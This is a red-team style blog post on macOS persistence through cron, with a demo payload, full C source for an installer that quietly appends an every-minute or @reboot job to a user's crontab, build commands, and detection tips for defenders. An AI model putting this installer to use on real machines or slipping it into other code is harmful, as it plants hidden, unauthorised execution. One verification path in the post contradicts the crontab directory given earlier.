3 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

This post is a continuation of the macOS malware persistence series. In this part, we will explore persistence via the cron scheduling daemon.

In our previous research, we analyzed AutoLaunchedApplicationDictionary and Background Task Management (BTM). Today we look at cron - a classic Unix mechanism that is very much alive on modern macOS Sonoma, and largely overlooked compared to LaunchAgents.

the logic: cron on macOS

cron is the traditional Unix job scheduler. On macOS it is managed by launchd via:

/System/Library/LaunchDaemons/com.vix.cron.plist

malware

User-level crontabs are stored in:

/usr/lib/cron/tabs/<username>

malware

The root crontab lives at:

/usr/lib/cron/tabs/root

A cron entry specifies a schedule and a command. The format is:

* * * * *  /path/to/command
│ │ │ │ └─ day of week (0-7)
│ │ │ └─── month (1-12)
│ │ └───── day of month (1-31)
│ └─────── hour (0-23)
└───────── minute (0-59)

Unlike LaunchAgents, a cron job:

  • leaves no .plist file in ~/Library/LaunchAgents/
  • creates no visible entry in System Settings
  • fires no BTM notification
  • can run as root (via sudo crontab) with no Login Item visible to the user

practical example

As usual, let’s start with a simple C “malware” (hack.c). It appends system info and its effective UID to /tmp/meow.txt:

/*
 * hack.c
 * simple payload for cron persistence demo
 * author: @cocomelonc
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char *filePath = "/tmp/meow.txt";
  char command[1024];

  snprintf(command, sizeof(command),
    "/usr/sbin/system_profiler SPSoftwareDataType >> %s 2>&1", filePath);
  system(command);

  FILE *f = fopen(filePath, "a");
  if (f) {
    fprintf(f, "\nexecuted as UID: %d\n", getuid());
    fclose(f);
  }
  return 0;
}

The persistence installer (pers.c) installs a cron job for the current user by reading the existing crontab, appending a new entry, and writing it back via the crontab command:

/*
 * pers.c
 * macOS persistence via cron
 * author: @cocomelonc
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
  const char *payload  = "/Users/Shared/hack";
  const char *tmp_file = "/tmp/.crontab_tmp";

  // dump existing crontab into a temp file (ignore errors if empty)
  char cmd[512];
  snprintf(cmd, sizeof(cmd), "crontab -l > %s 2>/dev/null; true", tmp_file);
  system(cmd);

  // append our job: run every minute
  FILE *f = fopen(tmp_file, "a");
  if (!f) {
    perror("fopen");
    return 1;
  }
  fprintf(f, "* * * * * %s\n", payload);
  fclose(f);

  // install the modified crontab
  snprintf(cmd, sizeof(cmd), "crontab %s", tmp_file);
  int res = system(cmd);

  // clean up the temp file
  remove(tmp_file);

  if (res == 0) {
    printf("persistence installed: cron job runs every minute.\n");
  } else {
    printf("failed to install crontab.\n");
    return 1;
  }
  return 0;
}

The cron entry installed looks like this:

* * * * * /Users/Shared/hack

This runs our payload every minute. In a real implant you would adjust the schedule (@reboot, 0 * * * *, etc.) to fit the operation. The @reboot specifier is particularly interesting - it runs the payload once on every system boot:

@reboot /Users/Shared/hack

demo

Compile the payload and sign it ad-hoc (required on my macOS Sonoma VM):

clang hack.c -o /Users/Shared/hack
codesign -s - --force /Users/Shared/hack

malware

malware

Compile the persistence installer:

clang pers.c -o pers

malware

Run it:

./pers

malware

Verify via file:

sudo cat /usr/bin/cron/tabs/user

malware

Verify the cron job was installed:

crontab -l

malware

Wait one minute, then check that the payload ran:

cat /tmp/meow.txt

malware

As you can see, everything is works perfectly, as expected! =^..^=

You can also verify using the @reboot variant. Replace the fprintf line in pers.c with:

fprintf(f, "@reboot %s\n", payload);

Reboot the VM and check /tmp/meow.txt after login - the payload will have run before any user interaction.

malware

malware

malware

malware

malware

malware

run:

cat /tmp/meow.txt

malware

detection note

Blue teamers can audit all user and root crontabs:

crontab -l                      # current user
sudo crontab -l                 # root
ls /usr/lib/cron/tabs/          # all user tabs

malware

osquery also surfaces cron entries:

SELECT * FROM crontab;

Legitimate crontabs on a clean macOS system are usually empty. Any entry found in /usr/lib/cron/tabs/ deserves scrutiny.

real world usage

Lazarus Group has been observed using cron-based persistence on macOS in their Operation AppleJeus campaign, where fake cryptocurrency trading applications installed cron jobs to maintain backdoor access.

OSX/Flashback, one of the largest macOS botnets ever recorded (over 600,000 machines), used cron jobs as one of its fallback persistence mechanisms when its primary LaunchAgents-based method was removed.

XCSSET malware, which targeted Xcode developers, also employed cron-based persistence alongside its primary infection vector to survive cleanup attempts.

I hope this post is useful for malware R&D and red teaming labs, Apple/Mac researchers, and blue team specialists.

Lazarus Group - Malpedia
OSX/Flashback - Malpedia
XCSSET - Malpedia
macOS hacking part 1
macOS persistence part 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine